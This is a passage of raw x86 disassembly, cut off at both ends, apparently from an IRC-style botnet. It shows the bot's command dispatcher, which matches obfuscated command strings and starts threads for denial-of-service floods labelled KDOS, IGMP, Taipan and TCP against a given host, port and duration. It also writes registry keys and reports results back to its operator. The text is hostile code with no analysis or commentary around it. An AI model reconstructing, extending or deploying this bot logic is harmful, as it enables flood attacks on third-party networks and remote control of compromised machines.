aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push offset aSFailedToQue_0 ; "%s Failed to query: %s\\%s\\%s" jnz loc_404F2E loc_408818: ; CODE XREF: sub_403B2C+13D9j ; sub_403B2C+4B7Bj push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 loc_408823: ; CODE XREF: sub_403B2C+140Cj add esp, 1Ch jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40882B: ; CODE XREF: sub_403B2C+4A0Ej push dword ptr [esi+4] push offset aNn0i61ujg7h1 ; "NN0i61uJg7H1" call ebx ; dword_42F070 test eax, eax jnz loc_40AF54 cmp [esi+10h], eax jz loc_408AB4 cmp [esi+14h], eax jz loc_408AB4 cmp [esi+18h], eax jz loc_408AB4 push dword ptr [esi+8] call sub_41A370 push dword ptr [esi+0Ch] mov [ebp+var_4], eax call sub_41A292 mov ebx, [esi+10h] mov [ebp+var_8], eax mov eax, [esi+14h] pop ecx mov [ebp+arg_4], eax mov al, [ebp+arg_34] test al, al pop ecx mov [ebp+arg_0], ebx mov byte ptr [ebp+arg_C+3], 5Fh jz short loc_40888A mov byte ptr [ebp+arg_C+3], al loc_40888A: ; CODE XREF: sub_403B2C+4D59j cmp [ebp+arg_30], 0 jz short loc_4088F1 and [ebp+arg_8], 0 push ebx call sub_422120 test eax, eax pop ecx jbe short loc_4088BD loc_40889F: ; CODE XREF: sub_403B2C+4D8Fj mov eax, [ebp+arg_8] mov cl, byte ptr [ebp+arg_C+3] add eax, ebx cmp [eax], cl jnz short loc_4088AE mov byte ptr [eax], 20h loc_4088AE: ; CODE XREF: sub_403B2C+4D7Dj inc [ebp+arg_8] push ebx call sub_422120 cmp [ebp+arg_8], eax pop ecx jb short loc_40889F loc_4088BD: ; CODE XREF: sub_403B2C+4D71j push [ebp+arg_4] and [ebp+arg_8], 0 call sub_422120 test eax, eax pop ecx jbe short loc_4088F1 loc_4088CE: ; CODE XREF: sub_403B2C+4DC3j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_4] add eax, ecx mov cl, byte ptr [ebp+arg_C+3] cmp [eax], cl jnz short loc_4088E0 mov byte ptr [eax], 20h loc_4088E0: ; CODE XREF: sub_403B2C+4DAFj push [ebp+arg_4] inc [ebp+arg_8] call sub_422120 cmp [ebp+arg_8], eax pop ecx jb short loc_4088CE loc_4088F1: ; CODE XREF: sub_403B2C+4D62j ; sub_403B2C+4DA0j mov eax, [ebp+var_4] cmp eax, 1 jz loc_4089F5 cmp eax, 7 jz loc_4089F5 cmp eax, 2 jz loc_4089F5 cmp eax, 4 jnz loc_40AF54 push dword ptr [esi+18h] call sub_422B5A push eax push [ebp+arg_4] push ebx push [ebp+var_8] call sub_41A8D1 add esp, 14h mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." test eax, eax jz short loc_40898F cmp [ebp+arg_14], 0 jnz short loc_40896B cmp [ebp+arg_18], 0 jnz short loc_408975 push dword ptr [esi+18h] call sub_422B5A push eax push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSSuccessfullyW ; "%s Successfully wrote: %s\\%s\\%s (%d)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 24h loc_40896B: ; CODE XREF: sub_403B2C+4E11j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408975: ; CODE XREF: sub_403B2C+4E17j push dword ptr [esi+18h] call sub_422B5A push eax push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSSuccessfullyW ; "%s Successfully wrote: %s\\%s\\%s (%d)" jmp short loc_4089E3 ; --------------------------------------------------------------------------- loc_40898F: ; CODE XREF: sub_403B2C+4E0Bj cmp [ebp+arg_14], 0 jnz short loc_4089C1 cmp [ebp+arg_18], 0 jnz short loc_4089CB push dword ptr [esi+18h] call sub_422B5A push eax push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSFailedToWrite ; "%s Failed to write: %s\\%s\\%s (%d)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 24h loc_4089C1: ; CODE XREF: sub_403B2C+4E67j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4089CB: ; CODE XREF: sub_403B2C+4E6Dj push dword ptr [esi+18h] call sub_422B5A push eax push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSFailedToWrite ; "%s Failed to write: %s\\%s\\%s (%d)" loc_4089E3: ; CODE XREF: sub_403B2C+4E61j push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 24h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4089F5: ; CODE XREF: sub_403B2C+4DCBj ; sub_403B2C+4DD4j ... push [ebp+var_4] push dword ptr [esi+18h] push [ebp+arg_4] push ebx push [ebp+var_8] call sub_41A8F2 add esp, 14h mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." test eax, eax jz short loc_408A6A cmp [ebp+arg_14], 0 jnz short loc_408A3F cmp [ebp+arg_18], 0 jnz short loc_408A49 push dword ptr [esi+18h] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSWroteKeySSSS ; "%s Wrote key: %s\\%s\\%s (%s)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 20h loc_408A3F: ; CODE XREF: sub_403B2C+4EEBj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408A49: ; CODE XREF: sub_403B2C+4EF1j push dword ptr [esi+18h] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSWroteKeySSSS ; "%s Wrote key: %s\\%s\\%s (%s)" loc_408A5B: ; CODE XREF: sub_403B2C+4B56j ; sub_403B2C+4F86j push dword ptr [edi] push [ebp+arg_10] call sub_410491 jmp loc_40A16B ; --------------------------------------------------------------------------- loc_408A6A: ; CODE XREF: sub_403B2C+4EE5j cmp [ebp+arg_14], 0 jnz short loc_408A96 cmp [ebp+arg_18], 0 jnz short loc_408AA0 push dword ptr [esi+18h] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSFailedToWri_0 ; "%s Failed to write: %s\\%s\\%s (%s)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 20h loc_408A96: ; CODE XREF: sub_403B2C+4F42j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408AA0: ; CODE XREF: sub_403B2C+4F48j push dword ptr [esi+18h] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [esi+0Ch] push ebx push offset aSFailedToWri_0 ; "%s Failed to write: %s\\%s\\%s (%s)" jmp short loc_408A5B ; --------------------------------------------------------------------------- loc_408AB4: ; CODE XREF: sub_403B2C+FA0j ; sub_403B2C+FA9j ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." jmp loc_407722 ; --------------------------------------------------------------------------- loc_408AC3: ; CODE XREF: sub_403B2C+483Ej ; sub_403B2C+4847j ... cmp [ebp+arg_14], ecx mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." jnz short loc_408AED cmp [ebp+arg_18], ecx jnz loc_40AD9F push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h xor ecx, ecx loc_408AED: ; CODE XREF: sub_403B2C+4FA4j cmp [ebp+arg_18], ecx jmp loc_40AD99 ; --------------------------------------------------------------------------- loc_408AF5: ; CODE XREF: sub_403B2C+4831j push dword ptr [esi] push offset aIkgekKykjq1 ; "iKgEK/kyKJQ1" call ebx ; dword_42F070 test eax, eax jz loc_40A40D push dword ptr [esi] push offset a6x7zf1eztny_ ; "6x7zf1EztnY." call ebx ; dword_42F070 test eax, eax jz loc_40A40D push dword ptr [esi] push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" call ebx ; dword_42F070 test eax, eax jz loc_40A40D push dword ptr [esi] push offset aMb05gVyf8f1 ; "mb05g/VYf8f1" call ebx ; dword_42F070 test eax, eax jz loc_40A40D push dword ptr [esi] push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." call ebx ; dword_42F070 test eax, eax jz loc_40A40D push dword ptr [esi] push offset aSbsip_o7v4b ; "SbsIp.o7V4B/" call ebx ; dword_42F070 test eax, eax jnz short loc_408B63 push offset aTcp ; "Tcp" push 11h jmp loc_409B7C ; --------------------------------------------------------------------------- loc_408B63: ; CODE XREF: sub_403B2C+5029j push dword ptr [esi] push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0" call ebx ; dword_42F070 test eax, eax jnz loc_408D3C xor ebx, ebx cmp [esi+4], ebx jz loc_4092AB cmp [esi+8], ebx jz loc_4092AB cmp [esi+0Ch], ebx jz loc_4092AB cmp [esi+10h], ebx jz loc_4092AB push 12h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jg loc_4090D5 mov eax, [ebp+arg_14] mov [ebp+var_CE4], eax mov eax, [ebp+arg_18] mov [ebp+var_CE8], eax cmp eax, ebx lea eax, [ebp+var_E00] jnz short loc_408BCF push dword ptr [edi+0Ch] jmp short loc_408BD1 ; --------------------------------------------------------------------------- loc_408BCF: ; CODE XREF: sub_403B2C+509Cj push dword ptr [edi] loc_408BD1: ; CODE XREF: sub_403B2C+50A1j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_E08], eax push dword ptr [esi+4] lea eax, [ebp+var_D80] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_CF4], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_CF0], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp [ebp+arg_14], 0 mov [ebp+var_CF8], eax mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" jnz short loc_408C5B cmp [ebp+arg_18], 0 jnz short loc_408C61 push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_408C5B: ; CODE XREF: sub_403B2C+50FCj cmp [ebp+arg_18], 0 jz short loc_408C8B loc_408C61: ; CODE XREF: sub_403B2C+5102j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_408C8B: ; CODE XREF: sub_403B2C+5133j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push 12h call sub_41BED7 add esp, 18h mov [ebp+var_CEC], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_E08] push esi push eax push offset sub_41112E push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_CEC] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_408D2E loc_408CE9: ; CODE XREF: sub_403B2C+5394j ; sub_403B2C+5544j ... cmp [ebp+arg_14], 0 mov esi, offset aSFailedToSta_1 ; "%s Failed to start thread, error: (%d)."... jnz short loc_408D11 cmp [ebp+arg_18], 0 jnz short loc_408D1B call dword_42F068 ; RtlGetLastWin32Error push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_408D11: ; CODE XREF: sub_403B2C+51C6j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408D1B: ; CODE XREF: sub_403B2C+51CCj call dword_42F068 ; RtlGetLastWin32Error jmp loc_4041AF ; --------------------------------------------------------------------------- loc_408D26: ; CODE XREF: sub_403B2C+5209j push 32h call dword_42F15C ; Sleep loc_408D2E: ; CODE XREF: sub_403B2C+51BBj cmp [ebp+var_CDC], 0 jz short loc_408D26 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_408D3C: ; CODE XREF: sub_403B2C+5042j push dword ptr [esi] push offset aPsern1aagh6_ ; "pSern1AAGh6." call ebx ; dword_42F070 test eax, eax jnz loc_408EDE xor ebx, ebx cmp [esi+4], ebx jz loc_4092AB cmp [esi+8], ebx jz loc_4092AB cmp [esi+0Ch], ebx jz loc_4092AB cmp [esi+10h], ebx jz loc_4092AB push 12h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jg loc_4090D5 mov eax, [ebp+arg_14] mov [ebp+var_F44], eax mov eax, [ebp+arg_18] mov [ebp+var_F48], eax cmp eax, ebx lea eax, [ebp+var_1060] jnz short loc_408DA8 push dword ptr [edi+0Ch] jmp short loc_408DAA ; --------------------------------------------------------------------------- loc_408DA8: ; CODE XREF: sub_403B2C+5275j push dword ptr [edi] loc_408DAA: ; CODE XREF: sub_403B2C+527Aj push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1068], eax push dword ptr [esi+4] lea eax, [ebp+var_FE0] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_F54], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_F50], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp [ebp+arg_14], 0 mov [ebp+var_F58], eax mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" jnz short loc_408E34 cmp [ebp+arg_18], 0 jnz short loc_408E3A push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_408E34: ; CODE XREF: sub_403B2C+52D5j cmp [ebp+arg_18], 0 jz short loc_408E64 loc_408E3A: ; CODE XREF: sub_403B2C+52DBj push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_408E64: ; CODE XREF: sub_403B2C+530Cj push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push 12h call sub_41BED7 add esp, 18h mov [ebp+var_F4C], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_1068] push esi push eax push offset sub_41130C push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_F4C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_408ED0 ; --------------------------------------------------------------------------- loc_408EC8: ; CODE XREF: sub_403B2C+53ABj push 32h call dword_42F15C ; Sleep loc_408ED0: ; CODE XREF: sub_403B2C+539Aj cmp [ebp+var_F3C], 0 jz short loc_408EC8 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_408EDE: ; CODE XREF: sub_403B2C+521Bj push dword ptr [esi] push offset aXkg84_cesgs_ ; "XkG84.cESgs." call ebx ; dword_42F070 test eax, eax jnz loc_40908E xor ebx, ebx cmp [esi+4], ebx jz loc_4092AB cmp [esi+8], ebx jz loc_4092AB cmp [esi+0Ch], ebx jz loc_4092AB cmp [esi+10h], ebx jz loc_4092AB push 12h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jg loc_4090D5 mov eax, [ebp+arg_14] mov [ebp+var_A90], eax mov eax, [ebp+arg_18] mov [ebp+var_A94], eax cmp eax, ebx lea eax, [ebp+var_BAC] jnz short loc_408F4A push dword ptr [edi+0Ch] jmp short loc_408F4C ; --------------------------------------------------------------------------- loc_408F4A: ; CODE XREF: sub_403B2C+5417j push dword ptr [edi] loc_408F4C: ; CODE XREF: sub_403B2C+541Cj push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_BB4], eax push dword ptr [esi+4] lea eax, [ebp+var_B2C] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_AA0], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_A9C], eax push dword ptr [esi+10h] call sub_422B5A mov [ebp+var_AA4], eax xor eax, eax add esp, 18h cmp [ebp+arg_60], eax mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" setnz al cmp [ebp+arg_14], 0 mov [ebp+var_A8C], eax jnz short loc_408FE4 cmp [ebp+arg_18], 0 jnz short loc_408FEA push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_408FE4: ; CODE XREF: sub_403B2C+5485j cmp [ebp+arg_18], 0 jz short loc_409014 loc_408FEA: ; CODE XREF: sub_403B2C+548Bj push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_409014: ; CODE XREF: sub_403B2C+54BCj push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push 12h call sub_41BED7 add esp, 18h mov [ebp+var_A98], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_BB4] push esi push eax push offset sub_4114B5 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_A98] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_409080 ; --------------------------------------------------------------------------- loc_409078: ; CODE XREF: sub_403B2C+555Bj push 32h call dword_42F15C ; Sleep loc_409080: ; CODE XREF: sub_403B2C+554Aj cmp [ebp+var_A88], 0 jz short loc_409078 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40908E: ; CODE XREF: sub_403B2C+53BDj push dword ptr [esi] push offset aP06vqBfbmo_ ; "p06vq/BFBMo." call ebx ; dword_42F070 test eax, eax jnz loc_4092BA xor ebx, ebx cmp [esi+4], ebx jz loc_4092AB cmp [esi+8], ebx jz loc_4092AB cmp [esi+0Ch], ebx jz loc_4092AB cmp [esi+10h], ebx jz loc_4092AB push 12h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_40911A loc_4090D5: ; CODE XREF: sub_403B2C+507Cj ; sub_403B2C+5255j ... cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" jnz short loc_409103 cmp [ebp+arg_18], 0 jnz short loc_40910D push [ebp+arg_C] push offset aKdosThreads ; "KDOS Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_409103: ; CODE XREF: sub_403B2C+55B7j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40910D: ; CODE XREF: sub_403B2C+55BDj push [ebp+arg_C] push offset aKdosThreads ; "KDOS Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_40911A: ; CODE XREF: sub_403B2C+55A7j mov eax, [ebp+arg_14] mov [ebp+var_E14], eax mov eax, [ebp+arg_18] mov [ebp+var_E18], eax cmp eax, ebx lea eax, [ebp+var_F30] jnz short loc_40913B push dword ptr [edi+0Ch] jmp short loc_40913D ; --------------------------------------------------------------------------- loc_40913B: ; CODE XREF: sub_403B2C+5608j push dword ptr [edi] loc_40913D: ; CODE XREF: sub_403B2C+560Dj push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_F38], eax push dword ptr [esi+4] lea eax, [ebp+var_EB0] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_E24], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_E20], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp [ebp+arg_14], 0 mov [ebp+var_E28], eax mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" jnz short loc_4091C7 cmp [ebp+arg_18], 0 jnz short loc_4091CD push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_4091C7: ; CODE XREF: sub_403B2C+5668j cmp [ebp+arg_18], 0 jz short loc_4091F7 loc_4091CD: ; CODE XREF: sub_403B2C+566Ej push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_4091F7: ; CODE XREF: sub_403B2C+569Fj push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push 12h call sub_41BED7 add esp, 18h mov [ebp+var_E1C], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_F38] push esi push eax push offset sub_41186E push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_E1C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_40929D cmp [ebp+arg_14], esi mov esi, dword_42F068 jnz short loc_40927D cmp [ebp+arg_18], 0 jnz short loc_409287 call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_2 ; "%s Failed to start thread, error: (%d)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40927D: ; CODE XREF: sub_403B2C+5732j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409287: ; CODE XREF: sub_403B2C+5738j call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_2 ; "%s Failed to start thread, error: (%d)" jmp loc_40A5C3 ; --------------------------------------------------------------------------- loc_409295: ; CODE XREF: sub_403B2C+5778j push 32h call dword_42F15C ; Sleep loc_40929D: ; CODE XREF: sub_403B2C+5727j cmp [ebp+var_E0C], 0 jz short loc_409295 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4092AB: ; CODE XREF: sub_403B2C+504Dj ; sub_403B2C+5056j ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_4092BA: ; CODE XREF: sub_403B2C+556Dj push dword ptr [esi] push offset a3vvsv1vurua ; "3VVsV1VuRUA/" call ebx ; dword_42F070 test eax, eax jnz short loc_4092D3 push offset aKdos ; "KDOS" push 12h jmp loc_409B7C ; --------------------------------------------------------------------------- loc_4092D3: ; CODE XREF: sub_403B2C+5799j push dword ptr [esi] push offset a2onvg1wfjmb1 ; "2ONVG1WFjmb1" call ebx ; dword_42F070 test eax, eax jnz loc_4094C3 xor ebx, ebx cmp [esi+4], ebx jz loc_4094B4 cmp [esi+8], ebx jz loc_4094B4 cmp [esi+0Ch], ebx jz loc_4094B4 cmp [esi+10h], ebx jz loc_4094B4 push 13h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_40935D cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0" jnz short loc_409346 cmp [ebp+arg_18], 0 jnz short loc_409350 push eax push offset aIgmpThreads ; "IGMP Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_409346: ; CODE XREF: sub_403B2C+57FCj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409350: ; CODE XREF: sub_403B2C+5802j push [ebp+arg_C] push offset aIgmpThreads ; "IGMP Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_40935D: ; CODE XREF: sub_403B2C+57ECj mov eax, [ebp+arg_14] mov [ebp+var_BBC], eax mov eax, [ebp+arg_18] mov [ebp+var_BC0], eax cmp eax, ebx lea eax, [ebp+var_C50] jnz short loc_40937E push dword ptr [edi+0Ch] jmp short loc_409380 ; --------------------------------------------------------------------------- loc_40937E: ; CODE XREF: sub_403B2C+584Bj push dword ptr [edi] loc_409380: ; CODE XREF: sub_403B2C+5850j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_CD8], eax push dword ptr [esi+4] lea eax, [ebp+var_CD0] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_BCC], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_BC8], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp [ebp+arg_14], 0 mov [ebp+var_BC4], eax mov ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0" jnz short loc_40940A cmp [ebp+arg_18], 0 jnz short loc_409410 push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_40940A: ; CODE XREF: sub_403B2C+58ABj cmp [ebp+arg_18], 0 jz short loc_40943A loc_409410: ; CODE XREF: sub_403B2C+58B1j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_40943A: ; CODE XREF: sub_403B2C+58E2j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." push 13h call sub_41BED7 add esp, 18h mov [ebp+var_BD0], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_CD8] push esi push eax push offset sub_40FA20 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_BD0] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_4094A6 ; --------------------------------------------------------------------------- loc_40949E: ; CODE XREF: sub_403B2C+5981j push 32h call dword_42F15C ; Sleep loc_4094A6: ; CODE XREF: sub_403B2C+5970j cmp [ebp+var_BB8], 0 jz short loc_40949E jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4094B4: ; CODE XREF: sub_403B2C+57BDj ; sub_403B2C+57C6j ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_4094C3: ; CODE XREF: sub_403B2C+57B2j push dword ptr [esi] push offset aZqhijZaeza_ ; "ZqhIJ/ZaEZa." call ebx ; dword_42F070 test eax, eax jnz short loc_4094DC push offset aIgmp ; "IGMP" push 13h jmp loc_40A155 ; --------------------------------------------------------------------------- loc_4094DC: ; CODE XREF: sub_403B2C+59A2j push dword ptr [esi] push offset aZk1tr0lpp5r0 ; "Zk1Tr0lpP5R0" call ebx ; dword_42F070 test eax, eax jnz loc_4096E3 xor ebx, ebx cmp [esi+4], ebx jz loc_4096D4 cmp [esi+8], ebx jz loc_4096D4 cmp [esi+0Ch], ebx jz loc_4096D4 cmp [esi+10h], ebx jz loc_4096D4 push 14h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_409566 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI." jnz short loc_40954F cmp [ebp+arg_18], 0 jnz short loc_409559 push eax push offset aTaipanThreads ; "Taipan Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40954F: ; CODE XREF: sub_403B2C+5A05j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409559: ; CODE XREF: sub_403B2C+5A0Bj push [ebp+arg_C] push offset aTaipanThreads ; "Taipan Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_409566: ; CODE XREF: 